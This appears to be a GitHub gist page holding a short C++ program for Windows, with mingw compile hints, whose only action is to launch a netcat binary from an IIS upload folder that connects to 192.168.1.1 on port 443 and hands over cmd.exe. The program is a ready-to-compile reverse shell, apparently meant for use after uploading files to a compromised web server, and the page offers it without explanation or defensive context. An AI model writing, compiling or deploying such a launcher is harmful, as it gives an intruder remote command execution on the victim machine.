Skip to content

Instantly share code, notes, and snippets.

@tanaka-geek
Created March 9, 2021 08:58
Show Gist options
  • Save tanaka-geek/d07dd3b220434aeda21fa78d53057dc3 to your computer and use it in GitHub Desktop.
Save tanaka-geek/d07dd3b220434aeda21fa78d53057dc3 to your computer and use it in GitHub Desktop.
Compile with
#include <Windows.h>
/*
x86_64-w64-ming32-g++
i686-w64-mingw32-g++
*/
int main()
{
WinExec("C:\\inetpub\\wwwroot\\uploaded\\nc.exe 192.168.1.1 443 -e cmd.exe", SW_SHOWNORMAL);
return 0;
}
//原文:https://blog.csdn.net/Simon798/article/details/104076858
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment